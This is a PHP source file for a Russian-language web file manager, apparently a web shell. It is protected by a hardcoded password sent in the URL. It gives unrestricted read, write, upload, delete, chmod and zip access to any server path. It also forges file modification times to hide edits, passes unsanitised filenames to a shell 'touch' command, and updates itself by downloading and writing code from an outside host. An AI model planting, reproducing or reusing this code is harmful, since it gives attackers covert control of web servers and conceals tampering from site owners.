Файл: ferma/mened.php
Строк: 725
<?
if($_GET['exit']!='y'){
$pass_manager=
"valera555"
; /// В этой переменной лежит ваш пароль!
$vrem_cookie=10800; /// Время в секундах через сколько нужна повторная авторизация если менеджер не использовался!
$man_pass=md5($pass_manager.'7'.$_SERVER['REMOTE_ADDR']);
$time=time();
if($_COOKIE['man_pass']!=$man_pass){
if($_GET['log']==$pass_manager){
setcookie("man_pass",$man_pass,$time+$vrem_cookie);
$open=1;
}
} else {setcookie("man_pass",$man_pass,$time+$vrem_cookie); $open=1;}
} else {setcookie("man_pass"); $open=0;}
///////////////
if($open==1){
Error_reporting(1);
//Error_Reporting(E_ALL & ~E_NOTICE);
header('Content-type:text/html; charset=utf-8');
list($msec,$sec)=explode(chr(32),microtime());
$HeadTime=$sec+$msec;
$ver_scripta='2.6.3';
$name_shat=
""
; /// В этой переменной лежит ваш ник!
$phpmyadmin=
""
; /// В этой переменной лежит ссылка на ваш phpmyadmin!
if(isset($_GET['system_man'])){
if(isset($_GET['ajax_1'])){
class qqUploadedFileXhr{
public function save($path){
$input = fopen("php://input", "r");
$temp = tmpfile();
$realSize = stream_copy_to_stream($input, $temp);
fclose($input);
if ($realSize != $this->getSize()){
return false;}
$target = fopen($path, "w");
fseek($temp, 0, SEEK_SET);
stream_copy_to_stream($temp, $target);
fclose($target);
return true;}
public function getName(){return $_GET['qqfile'];}
public function getSize(){
if(isset($_SERVER["CONTENT_LENGTH"])){
return (int)$_SERVER["CONTENT_LENGTH"];
} else {throw new Exception('Getting content length is not supported.');}}}
class qqUploadedFileForm{
public function save($path){return move_uploaded_file($_FILES['qqfile']['tmp_name'], $path);}
public function getName(){return $_FILES['qqfile']['name'];}
public function getSize(){return $_FILES['qqfile']['size'];}}
class qqFileUploader{private $allowedExtensions; private $sizeLimit; private $file; private $uploadName;
function __construct(array $allowedExtensions = null, $sizeLimit = null){
if($allowedExtensions===null){$allowedExtensions = array();}
if($sizeLimit===null){$sizeLimit = $this->toBytes(ini_get('upload_max_filesize'));}
$allowedExtensions = array_map("strtolower", $allowedExtensions);
$this->allowedExtensions = $allowedExtensions;
$this->sizeLimit = $sizeLimit;
$this->checkServerSettings();
if(!isset($_SERVER['CONTENT_TYPE'])){$this->file = false;}
else if(strpos(strtolower($_SERVER['CONTENT_TYPE']), 'multipart/') === 0){
$this->file = new qqUploadedFileForm();
} else {$this->file = new qqUploadedFileXhr();}}
public function getUploadName(){if( isset( $this->uploadName ) )return $this->uploadName;}
public function getName(){if ($this->file)return $this->file->getName();}
private function checkServerSettings(){
$postSize = $this->toBytes(ini_get('post_max_size'));
$uploadSize = $this->toBytes(ini_get('upload_max_filesize'));
if (!($postSize < $this->sizeLimit || $uploadSize < $this->sizeLimit)){
$size = max(1, $this->sizeLimit / 1024 / 1024) . 'M';
die(json_encode(array('error'=>'increase post_max_size and upload_max_filesize to ' . $size)));}}
private function toBytes($str){
$val = trim($str);
$last = strtolower($str[strlen($str)-1]);
switch($last){case 'g': $val *= 1024; case 'm': $val *= 1024; case 'k': $val *= 1024;}return $val;}
function handleUpload($uploadDirectory, $replaceOldFile = FALSE){
if (!is_writable($uploadDirectory)){return array('error' => "Server error. Upload directory isn't writable.");}
if (!$this->file){return array('error' => 'No files were uploaded.');}
$size = $this->file->getSize();
if ($size == 0){return array('error' => 'File is empty');}
if ($size > $this->sizeLimit){return array('error' => 'File is too large');}
$pathinfo = pathinfo($this->file->getName());
$filename = $pathinfo['filename'];
$ext = @$pathinfo['extension'];
if($this->allowedExtensions && !in_array(strtolower($ext), $this->allowedExtensions)){
$these = implode(', ', $this->allowedExtensions);
return array('error' => 'File has an invalid extension, it should be one of '. $these . '.');}
$ext = ($ext == '') ? $ext : '.' . $ext;
if(!$replaceOldFile){while (file_exists($uploadDirectory . DIRECTORY_SEPARATOR . $filename . $ext)){$filename .= rand(10, 99);}}
$this->uploadName = $filename . $ext;
if($this->file->save($uploadDirectory . DIRECTORY_SEPARATOR . $filename . $ext)){return array('success'=>true);
} else {return array('error'=> 'Could not save uploaded file.'.'The upload was cancelled, or server error encountered');}}}
$allowedExtensions = array("php", "html", "htm", "mp3", "png", "ico", "jpeg", "jpg", "gif", "css", "js", "sql", "zip", "rar", "txt", "htaccess");
$sizeLimit = 50 * 1024 * 1024;
$uploader = new qqFileUploader($allowedExtensions, $sizeLimit);
$result = $uploader->handleUpload("".$_GET['upload_dir']."");
echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);}
exit;}
// функция изменения времени модификации файла
function changetime($FileName, $Fmtime){
if(@strtotime($Fmtime)==''){return "<br/>Время не корректное!<br/>";} else {$mtime = strtotime($Fmtime);}
if (@exec("touch {$FileName}")){$exec=1;
} else {if (@touch ($FileName, $mtime)){
$msg = "<b>Время последней модификации файла:</b>: ".(date("d.m.Y H:i:s", filemtime($FileName)))."<br/><b>Время последнего доступа к файлу:</b> ".(date("d.m.Y H:i:s", fileatime($FileName)))."<br/><b>Время создания файла:</b>: ".(date("d.m.Y H:i:s", filectime($FileName)));}}
if($exec==1){return "Время изменено из командной строки<br/>";}
elseif($msg){return "Время изменено средствами РНР<br/>$msg";}
else {return "Не удалось изменить время последней модификации файла <b>$FileName</b><br/>";}}
// end
if(empty($_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){
echo'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Файловый Менеджер</title>
<link rel="shortcut icon" href="https://lh5.googleusercontent.com/-yrjsbjXkGT8/UZp6WfES0QI/AAAAAAAAAJk/L2B4Cqc9fjE/s128-no/manager.png" type="image/png">
<style type="text/css">
body{margin: 0 auto;max-width:800px;font-family: verdana;font-size: 11px;color: #ACADAD;background-color:#ACADAD;
background-attachment: fixed; background-image: url(https://lh3.googleusercontent.com/-_hhdyIXVm_I/UQLWE-Ad0XI/AAAAAAAAACw/XE86JOO4R0w/d/www5.jpg);}
a{color: #B6FF48;text-decoration:none;}
a:hover{color: yellow;text-decoration: underline;}
table.v{padding: 0px;margin: 0px;border: 0px #B6FF48;background-color: #333933;}
td.v{ border: 0px solid #B6FF48; font-family: verdana, geneva, lucida, arial;background-color: #333; color: #B4B4B4;text-decoration: none;font-size: 11px;
font-weight: bold;width:100%;padding-left: 2px; padding-right: 2px; padding-top: 1px;padding-bottom: 2px;text-align: left;}
input,textarea{font: normal 11px verdana, geneva, lucida, arial, helvetica, sans-serif;color: #B4B4B4;background-color: #333333;border-color: #424242;
border-left: 1px solid #0A0A0A;border-top: 1px solid #0A0A0A;border-right: 1px solid #2C2C2C;border-bottom: 1px solid #2C2C2C;}
input:hover, textarea:hover, button:hover{border-color: #B6FF48;}
input:focus, textarea:focus, button:focus{border-color: #B6FF48;}
submit, button{font: normal 11px verdana, geneva, lucida, arial, helvetica, sans-serif;color: #B4B4B4;background-color: #333333;border-color: #424242;
border-left: 1px solid #0A0A0A;border-top: 1px solid #0A0A0A;border-right: 1px solid #2C2C2C;border-bottom: 1px solid #2C2C2C;font-weight: bold;}
submit:hover{border-color: #11A3EA;color: #11A3EA;}
submit:focus{border-color: #11A3EA;color: #ffffff;}
.block{border:1px solid #191919;border-radius:3px;margin:2px 0;padding:4px;
background-color:#1A1A1A; background-image: url(https://lh5.googleusercontent.com/-wAQLAp7nM8w/UZnlJL8TNyI/AAAAAAAAAJE/4i9PEVrgqWk/w180-h134-no/background.png);}
.layer{width: 800px;white-space: normal;}
da{color:#4EB6FB;}
net{color:#F87342;}
</style>
</head><body><div class="layer"><div class="block">';}
/////////////////////////////////
//////////Файл менеджер//////////
/////////////////////////////////
if(empty($_GET['del_dir']) & empty($_GET['del_file']) & (!isset($_GET['center'])) & (!isset($_GET['sys_nas'])) & empty($_GET['r']) & empty($_GET['input']) & empty($_GET['ren']) & empty($_GET['setchmod']) & empty($_GET['download']) & empty($_GET['up']) & empty($_GET['upload']) & empty($_GET['chmod']) & empty($_GET['rename']) & empty($_GET['rmdir']) & empty($_GET['made']) & empty($_GET['madedir']) & empty($_GET['create']) & empty($_GET['createdir']) & empty($_GET['del']) & empty($_GET['deldir']) & empty($_GET['f']) & empty($_GET['edit']) & empty($_GET['zip'])& empty($_GET['img']) & empty($_GET['touchfile']) & empty($_GET['touch'])){
echo'<b>Файл менеджер</b> | <a href="'.$phpmyadmin.'" target="_blank"><font color="#FFF7B2">phpMyAdmin</font></a> | <a href="?center"><font color="#FFF7B2">Центр</font></a> | <a href="?sys_nas"><font color="#FFF7B2">Настройки</font></a> | <a href="?exit=y"><font color="#FFF7B2">Выход</a></font><hr>';
if(empty($_GET['d'])){$d="./";}
else{$d=$_GET['d'];}
if($d=="./"){$vverh='.'.$d;}
if($d!=="./"){$vverh=$d.'../';}
echo'<a href="?d='.$vverh.'">[..] вверх</a><br>
<a href="?create='.$d.'">Создать файл </a><br>
<a href="?createdir='.$d.'">Создать папку</a><br>
<a href="?up='.$d.'">Загрузить файл</a><br><br>';
echo '<b>Папки:</b><table class=v>';
$dir = opendir($d);
while($file = readdir($dir)){
if(is_dir($d.'/'.$file)){
if($file != "." && $file != ".."){
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
echo'<tr><td class=v width="400"><img width="16" height="16" align="absmiddle" src="https://lh5.googleusercontent.com/-v1tdh30dg-g/UZngwk3wm5I/AAAAAAAAAFs/JKx-XwoGONQ/s32-no/folder.png" alt=""> <a href="?d='.$d.$file.'/"><font color="#FFF7B2">'.$file.'</font></a></td><td class=v> DIR </td><td class=v>'.(date("d.m.Y/H:i:s", filemtime($d))).'</td><td class=v>'.$mod.'</td><td class=v><a href="?zip='.$d.$file.'/">[zip]</a></td><td class=v><a href="?del_dir='.$d.$file.'/"><font color="#D33132">[удал.]</font></a></td><td class=v><a href="?ren='.$d.$file.'/">[переимен.]</a></td><td class=v><a href="?chmod='.$d.$file.'/">[chmod]</a></td></tr>';}}}
echo'</table><br/><b>Файлы:</b><table class=v>';
$dir = opendir($d);
while($file = readdir($dir)){
if(is_file($d.'/'.$file)){
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
$info = pathinfo($file);
echo'<tr><td class=v width="350"><img width="16" height="16" align="absmiddle" src="https://lh3.googleusercontent.com/-NR-kUbCJ0DI/UZnjtdR-XLI/AAAAAAAAAIc/0-q-19z-rek/s48-no/file.png" alt=""> <a href="?r='.$d.$file.'"><font color="#FFF7B2">'.$info['filename'].'</font>.<font color="#DB800A">'.$info['extension'].'</font></a></td><td class=v>'.(date("d.m.Y", filemtime($d.$file))).'</td><td class=v>'; echo round(filesize("$d/$file")/1024,1); echo' КБ</td><td class=v>'.$mod.'</td><td class=v><a href="?f='.$d.$file.'">[ред.]</a></td><td class=v><a href="?del_file='.$d.$file.'"><font color="#D33132">[удал.]</font></a></td><td class=v><a href="?ren='.$d.$file.'">[переимен.]</a></td><td class=v><a href="?chmod='.$d.$file.'">[chmod]</a></td><td class=v><a href="?download='.$d.$file.'">[скачать]</a></td><td class=v><a href="?touchfile='.$d.$file.'">[дата]</a></td></tr>';}}
echo'</table>';}
/////////////////////////////////
/////////Переименование//////////
/////////////////////////////////
if(isset($_GET['ren'])){
echo'<b>Переименование</b><hr>';
if(isset($_GET['rename'])){
$name = rename($_GET['rename'],$_POST['new_name']);
if($name){echo'<da>Переименовано!</da><br>';}
if(!$name){echo'<net>Ошибка переименования!</net><br>';}}
echo'<form action="?ren='.$_GET['ren'].'&rename='.$_GET['ren'].'" method="post">
<input name="new_name" value="'.$_GET['ren'].'"><br>
<input type="submit" value="Переименовать!"><br>';}
/////////////////////////////////
/////////Аплоад файлов///////////
/////////////////////////////////
if(isset($_GET['up'])){
echo'<b>Загрузка файлов</b><hr>';
if(isset($_POST['upload'])){
$new_name=trim($_POST['new_name']);
if($_POST['new_name']==''){$new_name=$_FILES["file"]["name"];}
if(copy($_FILES["file"]["tmp_name"], $_POST['upload'].$new_name)){
echo '<da>Файл успешно загружен!</da><br>';} else {echo '<net>Загрузка файла не удалась!</net><br>';}
echo '<br>';}
echo'<form method="post" enctype="multipart/form-data" style="display:inline">
<input type="hidden" name="upload" value="'.$_GET['up'].'">
<input type="file" name="file"><br>
Сохранить как: (не обязательно)<br><input type="text" name="new_name" value="">
<input type="submit" value="Загрузить"></form><hr>
<link rel="stylesheet" href="http://vazaxx.ru/manager/files_images/fileuploader.css"><script src="http://vazaxx.ru/manager/files_images/jquery-1.7.2.js"></script><script src="http://vazaxx.ru/manager/files_images/fileuploader.js"></script>
<script>
window.onload = function(){var uploader = new qq.FileUploader({autoUpload: false,element: document.getElementById("file-uploader"),action: "?system_man&ajax_1&upload_dir='.$_GET['up'].'"});
$( "#startUpload" ).on( "click", function(){uploader.uploadStoredFiles();} );};
</script>
<div id="file-uploader"><noscript><p>Please enable JavaScript to use file uploader.</p></noscript></div><button id="startUpload">Загрузить</button><hr>
';}
/////////////////////////////////
////////////Download/////////////
/////////////////////////////////
if(isset($_GET['download'])){
$file = file_get_contents($_GET['download']);
$name = explode("/",$_GET['download']);
$name = $name[count($name)-1];
header('Content-type: text/plain');
header("Content-disposition: attachment; filename=$name");
echo $file;}
/////////////////////////////////
/////////////Время модиф//////////////
/////////////////////////////////
if(isset($_GET['touchfile'])){
echo'<b>Изменение времени модификации '.$_GET['touchfile'].'</b><hr>';
if(isset($_GET['touch'])){echo changetime($_GET['touch'], $_POST['mtime']).'<br>';}
echo'<form action="?touchfile='.$_GET['touchfile'].'&touch='.$_GET['touchfile'].'" method="post">
<input name="mtime" value="'.(date("d.m.Y H:i:s", filemtime($_GET['touchfile']))).'"><br>
<input type="submit" value="Изменить время!"><br>';}
/////////////////////////////////
/////////////Chmods//////////////
/////////////////////////////////
if(isset($_GET['chmod'])){
echo'<b>Chmods</b><hr>';
if(isset($_GET['setchmod'])){
if(chmod($_GET['setchmod'],octdec($_POST['chmods']))){echo'<da>Chmod '.$_POST['chmods'].' заданы!</da><br>';}
else {echo'<net>Ошибка задавания chmod '.$_POST['chmods'].'!</net><br>';}}
$mod=substr(sprintf("%o",fileperms($_GET['chmod'])),-3);
echo'<form action="?chmod='.$_GET['chmod'].'&setchmod='.$_GET['chmod'].'" method="post">
<input name="chmods" value="'.$mod.'"><br>
<input type="submit" value="Задать chmod!"><br>';}
/////////////////////////////////
///////Удаление директории///////
/////////////////////////////////
if(isset($_GET['rmdir'])){
echo'<b>Удаление директории</b><hr>';
$dir = opendir($_GET['rmdir']);
while($dirs = readdir($dir)){
if(is_dir($_GET['rmdir'].$dirs)){
if($dirs != "." && $dirs != ".."){
$poddir = rmdir($_GET['rmdir'].$dirs);}}}
closedir($dir);
$ddir = rmdir($_GET['rmdir']);
if($ddir){echo'<da>Директория удалена!</da><br>';}
if(!$ddir){echo'<net>Ошибка удаления!</net><br>';}
if($poddir){echo'<da>Поддиректории удалены!</da><br>';}
if(!$poddir){echo'<net>Поддиректории не существуют или ошибка удаления!</net><br>';}}
/////////////////////////////////
////////Настройки////////////
/////////////////////////////////
if(isset($_GET['sys_nas'])){
echo'<b>Настройки</b><hr>';
$file_array = file("".basename($_SERVER['SCRIPT_NAME'])."");
/////////////////
if((isset($_POST['sys_pass_ok']))&&($_POST['sys_pass']!='')){
$sys_dlin=strlen($_POST['sys_pass']);
if((!preg_match('#[^sda-z]#is', $_POST['sys_pass']))&&($sys_dlin<=15)&&($sys_dlin>=5)){
$file_array['3']='"'.$_POST['sys_pass'].'"'."n";
$fp = fopen("".basename($_SERVER['SCRIPT_NAME'])."", "w");
if(fputs($fp, implode("", $file_array))){
$man_pass=md5($_POST['sys_pass'].'7'.$_SERVER['REMOTE_ADDR']);
setcookie("man_pass",$man_pass,$time+$vrem_cookie);
echo'<da>Пароль успешно изменён!</da><br>';}else{echo'<net>Ошибка при изменении пароля.</net><br>';}
fclose($fp);}else{echo'<net>Пароль может содержать только символы Английского алфовита и Цифры,<br>и иметь длину не мение 5-ти и не более 15-ти символов.</net><br>';}}
/////////////////
if((isset($_POST['sys_shat_ok']))&&($_POST['sys_shat']!='')){
$sys_dlin=strlen($_POST['sys_shat']);
if((!preg_match('#[^sda-z]#is', $_POST['sys_shat']))&&($sys_dlin<=12)&&($sys_dlin>=3)){
$file_array['24']='"'.$_POST['sys_shat'].'"'."n";
$fp = fopen("".basename($_SERVER['SCRIPT_NAME'])."", "w");
if(fputs($fp, implode("", $file_array))){
echo'<da>Чат Ник успешно изменён!</da><br>';}else{echo'<net>Ошибка при изменении Чат Ника.</net><br>';}
fclose($fp);}else{echo'<net>Чат Ник может содержать только символы Английского алфовита и Цифры,<br>и иметь длину не мение 3-х и не более 12-ти символов.</net><br>';}}
/////////////////
if(isset($_POST['sys_bd_ok'])){
$file_array['27']='"'.$_POST['sys_bd'].'"'."n";
$fp = fopen("".basename($_SERVER['SCRIPT_NAME'])."", "w");
if(fputs($fp, implode("", $file_array))){
echo'<da>Ссылка на БД успешно изменена!</da><br>';}else{echo'<net>Ошибка при изменении ссылки на БД.</net><br>';}
fclose($fp);}
/////////////////
if($_POST['update']=='ok'){
$url="http://vazaxx.ru/manager/update/new_update.txt";
$headers = @get_headers($url);
if(preg_match("|200|", $headers[0])){
$update=file($url);
$update['3']='"'.$pass_manager.'"'."n";
$update['24']='"'.$name_shat.'"'."n";
$update['27']='"'.$phpmyadmin.'"'."n";
$url_v='.'.$_SERVER['PHP_SELF'];
$update_v=fopen($url_v,"w");
fputs($update_v, implode("",$update));
fclose($update_v);
if($update_v){echo'<da>Обновление успешно завершено!<br><small>(Данные настройки не изменились.)</small></da><br>';}
if(!$update_v){echo'<net>Ошибка обновления.</net><br>';}} else {echo'<net>Обновлений нет.</net><br>';}}
/////////////////
echo"<font color='#4BB449'>Пароль:</font> <form method='POST' action=?sys_nas style='display:inline'><input type='text' name='sys_pass' value=".$file_array['3']."><input type='submit' name='sys_pass_ok' value='Сохранить'></form><br>";
echo"<font color='#4BB449'>Ссылка БД:</font> <form method='POST' action=?sys_nas style='display:inline'><input type='text' name='sys_bd' value=".$file_array['27']."><input type='submit' name='sys_bd_ok' value='Сохранить'></form><br>";
echo"<font color='#4BB449'>Чат Ник:</font> <form method='POST' action=?sys_nas style='display:inline'><input type='text' name='sys_shat' value=".$file_array['24']."><input type='submit' name='sys_shat_ok' value='Сохранить'></form><br>";
echo"<font color='#4BB449'>Обновление:</font> версия: ".$ver_scripta." <form action=?sys_nas method='POST' style='display:inline'><input type='hidden' name='update' value='ok'><input type='submit' value='Обновить'></form>";
echo'<br>';}
/////////////////////////////////
////////Подтверждение////////////
/////////////////////////////////
if((isset($_GET['del_dir']))||(isset($_GET['del_file']))){
echo'<b>Подтверждение</b><hr>';
if(isset($_GET['del_dir'])){$del_stat='папку '.$_GET['del_dir']; $del_tip='?deldir='.$_GET['del_dir'].'';}
if(isset($_GET['del_file'])){$del_stat='файл '.$_GET['del_file']; $del_tip='?del='.$_GET['del_file'].'';}
echo'Вы уверены что хотите удалить '.$del_stat.' ?<br>';
echo' <img width="14" height="14" align="absmiddle" src="https://lh5.googleusercontent.com/-F3MMWezuScQ/UZv4Wyzl9lI/AAAAAAAAAKI/qNdprMmPa0s/s16-no/confirm.png"> <a href="'.$del_tip.'">Да, подтверждаю</a><br>';
echo' <img width="14" height="14" align="absmiddle" src="https://lh3.googleusercontent.com/-Uyd4NGThGCs/UZv4W1iV-DI/AAAAAAAAAKM/2uLz3NaHHyk/s16-no/refuse.png"> <a href="?d=">Нет, отказываюсь</a><br>';}
/////////////////////////////////
//////////Чтение файла///////////
/////////////////////////////////
if(isset($_GET['r']))
{
echo'<b>Чтение файла</b> (<a href="'.$_GET['r'].'" target="_blank">'.$_GET['r'].'</a>) (<a href="?f='.$_GET['r'].'">Ред.</a>)<hr>';
$info = pathinfo($_GET['r']);
if(($info['extension']=='jpeg')||($info['extension']=='jpg')||($info['extension']=='jpe')||($info['extension']=='gif')||($info['extension']=='png')||($info['extension']=='ico')){
$kartinka_sys = getimagesize($_GET['r']);
$razmer=850; /// Средний максимальный размер изображения
if(($kartinka_sys['0']<=$razmer)||($kartinka_sys['0']<=$razmer)){$wi_sys=$kartinka_sys['0']; $hi_sys=$kartinka_sys['1'];} else {
if($kartinka_sys['0']>=$kartinka_sys['1']){
$rash_sys=$kartinka_sys['0'];
} else {
$rash_sys=$kartinka_sys['1'];
}
$pro_sys=100;
$dil_sys=$razmer/$rash_sys;
$wi_sys=$dil_sys*$pro_sys.'%';
$hi_sys=$wi_sys;
}
echo "<img width='".$wi_sys."' height='".$hi_sys."' src='".$_GET['r']."' alt='o'>";
} else {
$file=file($_GET['r']);
if(function_exists('iconv'))
{echo '<small>';
$filegc=file_get_contents($_GET['r']);
if(!empty($filegc)){
if(function_exists('mb_check_encoding')){
if(!mb_check_encoding ($filegc, 'UTF-8')){
for($i=0; $i<count($file); $i++){
echo $file[$i] = htmlspecialchars(iconv("Windows-1251", "UTF-8", $file[$i])).'<br/>';}
} else {
for($i=0; $i<count($file); $i++){
echo htmlspecialchars($file[$i]).'<br/>';}}}}
echo '</small>';
} else {
echo "utf: ";
if($file){
echo '<small>';
for($i=0; $i<count($file); $i++){
$file[$i] = htmlspecialchars($file[$i]);
echo ''.$file[$i].'<br>';}
echo '</small>';}
if(!$file){echo'Ошибка чтения файла!';}}}
echo '<hr>';}
/////////////////////////////////
/////////Удаление файла//////////
/////////////////////////////////
if(isset($_GET['del'])){
echo'<b>Удаление файла</b><hr>';
$delete = unlink($_GET['del']);
if($delete){print '<da>Файл <b>'.$_GET['del'].'</b> удален!</da><br>';}
if(!$delete){print '<net>Ошибка удаления файла <b>'.$_GET['del'].'</b>!</net><br>';}}
/////////////////////////////////
//Удаление файлов из каталогов///
/////////////////////////////////
if(isset($_GET['deldir'])){
echo'<b>Удаление файлов из каталогов</b><hr>';
$dir = opendir($_GET['deldir']);
while($files = readdir($dir)){
if(is_file($_GET['deldir'].$files)){
$del = unlink($_GET['deldir'].$files);}
if(is_dir($_GET['deldir'].$files) && $files !="." && $files !=".."){
$odir = opendir($_GET['deldir'].$files);
while($reddir = readdir($odir)){
if(is_file($_GET['deldir'].$files.'/'.$reddir)){
$delet = unlink($_GET['deldir'].$files.'/'.$reddir);}}}}
if($del){print '<da>Файлы из директории <b>'.$_GET['deldir'].'</b> удалены!</da><br>';}
if(!$del){print '<net>Ошибка удаления файлов из из директории <b>'.$_GET['deldir'].'</b>!</net><br>';}
if($delet){print'<da>Файлы из подкаталогов в директории <b>'.$_GET['deldir'].'</b> удалены!</da><br>';}
if(!$delet){print'<net>Ошибка удаления Файлов из подкаталогов в директории <b>'.$_GET['deldir'].'</b>!</net><br>';}
header("Location:?rmdir=".$_GET['deldir']."");}
/////////////////////////////////
//////Редактирование файла///////
/////////////////////////////////
if(isset($_GET['f'])){
echo'<b>Редактирование файла</b> (<a href="'.$_GET['f'].'" target="_blank">'.$_GET['f'].'</a>)<hr>';
if(isset($_GET['edit'])){
$fp = fopen($_GET['edit'],"w");
fputs($fp,$_POST['text']);
fclose($fp);
if(!empty($_POST['mt'])){
if(@touch ($_GET['edit'], $_POST['mt'])){$msg = '<da><small>(дата файла не изменилась)</small></da><br>';}
} else {$msg = '<da><small>(дата файла изменилась, пробуйте использовать кнопку [дата])</small></da><br>';}
if($fp){echo'<da>Файл отредактирован!</da><br>'.$msg;}
if(!$fp){echo'<net>Ошибка записи файла!</net><br>';}
echo'<br>';}
$file = file_get_contents($_GET['f']);
if(function_exists('mb_check_encoding')){
if(!mb_check_encoding ($file, 'UTF-8')){
$file = htmlspecialchars(iconv("Windows-1251", "UTF-8", $file));
} else {$file = htmlspecialchars($file);}
} else {$file = htmlspecialchars($file);}
echo'<form action="?edit='.$_GET['f'].'&f='.$_GET['f'].'" method="post">
<textarea cols="121" rows="30" name="text">'.$file.'</textarea><br>
<input type="hidden" value="'.(filemtime($_GET['f'])).'" name="mt">
<input type="submit" value="Сохранить изменения!"><br>';}
/////////////////////////////////
/////////Создание файла//////////
/////////////////////////////////
if(isset($_GET['create'])){
echo'<b>Создание файла</b><hr>';
if(isset($_GET['made'])){
$fp = fopen($_GET['made'].$_POST['new_name'],"w");
fputs($fp,$_POST['new_file']);
fclose($fp);
chmod($_GET['made'].$_POST['new_name'], 0644);
if($fp){echo'<da>Файл создан!</da><br>';}
if(!$fp){echo'<net>Ошибка создания файла!</net><br>';}}
echo'<form action="?create='.$_GET['create'].'&made='.$_GET['create'].'" method="post">
Имя файла: <input name="new_name" size="20"><br>
<textarea cols="60" rows="7" name="new_file"><?php '.("rnrn").' ?></textarea><br>
<input type="submit" value="Создать!"><br>';}
/////////////////////////////////
/////////Создание папки//////////
/////////////////////////////////
if(isset($_GET['createdir'])){
echo'<b>Создание папки</b><hr>';
if(isset($_GET['madedir'])){if(mkdir($_GET['madedir'].$_POST['new_dirname'],0755)){echo'<da>Папка создана!</da><br>';} else {echo'<net>Ошибка создания папки!</net><br>';}}
echo'<form action="?createdir='.$_GET['createdir'].'&madedir='.$_GET['createdir'].'" method="post">
Имя папки: <input name="new_dirname" size="20"><br>
<input type="submit" value="Создать!"><br>';}
/////////////////////////////////
//////////////Чат////////////////
/////////////////////////////////
if(isset($_GET['center'])){
echo'<b>Центр</b><hr>';
echo'<iframe src="http://vazaxx.ru/manager/center.php?user='.$name_shat.'" frameborder="no" width="790" height="600" seamless>У вас не отображается iframe.</iframe>';}
/////////////////////////////////
//////////Зипирование////////////
/////////////////////////////////
if(isset($_GET['zip'])){
class zipfile{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "x50x4bx05x06x00x00x00x00";
var $old_offset = 0;
function add_dir($name){
$name = str_replace("\", "/", $name);
$fr = "x50x4bx03x04";
$fr .= "x0ax00";
$fr .= "x00x00";
$fr .= "x00x00";
$fr .= "x00x00x00x00";
$fr .= pack("V",0);
$fr .= pack("V",0);
$fr .= pack("V",0);
$fr .= pack("v", strlen($name) );
$fr .= pack("v", 0 );
$fr .= $name;
$fr .= pack("V",$crc);
$fr .= pack("V",$c_len);
$fr .= pack("V",$unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode("", $this->datasec));
$cdrec = "x50x4bx01x02";
$cdrec .="x00x00";
$cdrec .="x0ax00";
$cdrec .="x00x00";
$cdrec .="x00x00";
$cdrec .="x00x00x00x00";
$cdrec .= pack("V",0);
$cdrec .= pack("V",0);
$cdrec .= pack("V",0);
$cdrec .= pack("v", strlen($name) );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$ext = "x00x00x10x00";
$ext = "xffxffxffxff";
$cdrec .= pack("V", 16 );
$cdrec .= pack("V", $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function add_file($data, $name){
$name = str_replace("\", "/", $name);
$fr = "x50x4bx03x04";
$fr .= "x14x00";
$fr .= "x00x00";
$fr .= "x08x00";
$fr .= "x00x00x00x00";
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr .= pack("V",$crc);
$fr .= pack("V",$c_len);
$fr .= pack("V",$unc_len);
$fr .= pack("v", strlen($name) );
$fr .= pack("v", 0 );
$fr .= $name;
$fr .= $zdata;
$fr .= pack("V",$crc);
$fr .= pack("V",$c_len);
$fr .= pack("V",$unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode("", $this->datasec));
$cdrec = "x50x4bx01x02";
$cdrec .="x00x00";
$cdrec .="x14x00";
$cdrec .="x00x00";
$cdrec .="x08x00";
$cdrec .="x00x00x00x00";
$cdrec .= pack("V",$crc);
$cdrec .= pack("V",$c_len);
$cdrec .= pack("V",$unc_len);
$cdrec .= pack("v", strlen($name) );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$cdrec .= pack("V", 32 );
$cdrec .= pack("V", $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file(){
$data = implode("", $this -> datasec);
$ctrldir = implode("", $this -> ctrl_dir);
return
$data.
$ctrldir.
$this -> eof_ctrl_dir.
pack("v", sizeof($this -> ctrl_dir)).
pack("v", sizeof($this -> ctrl_dir)).
pack("V", strlen($ctrldir)).
pack("V", strlen($data)).
"x00x00"; }}
$abort = ignore_user_abort(1);
$zipfile = new zipfile();
$fdir = opendir($_GET['zip']);
while($file = readdir($fdir)){
if ($file != '.' and $file != '..'){
if (is_file($_GET['zip'].$file)){$zipfile->add_file(file_get_contents($_GET['zip'].$file),$file);}
if (is_dir($_GET['zip'].$file)){
$sdir = opendir($_GET['zip'].$file);
while($sfile = readdir($sdir)){
if ($sfile != '.' and $sfile != '..'){
if (is_file($_GET['zip'].$file.'/'.$sfile)){$zipfile->add_file(file_get_contents($_GET['zip'].$file.'/'.$sfile), $file.'/'.$sfile);}}}}}}
$name = explode("/",$_GET['zip']);
$file = $name[count($name)-2];
header('Content-type: application/octet-stream');
header("Content-disposition: attachment; filename=$file.zip");
echo $zipfile->file();}
///////////////
if(empty($_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){
echo'<br><a href="?d='.$vverh.'">Назад</a>';
echo'<br>';
list($msec,$sec)=explode(chr(32),microtime());
echo round((($sec+$msec)-$HeadTime),4).' cek.';
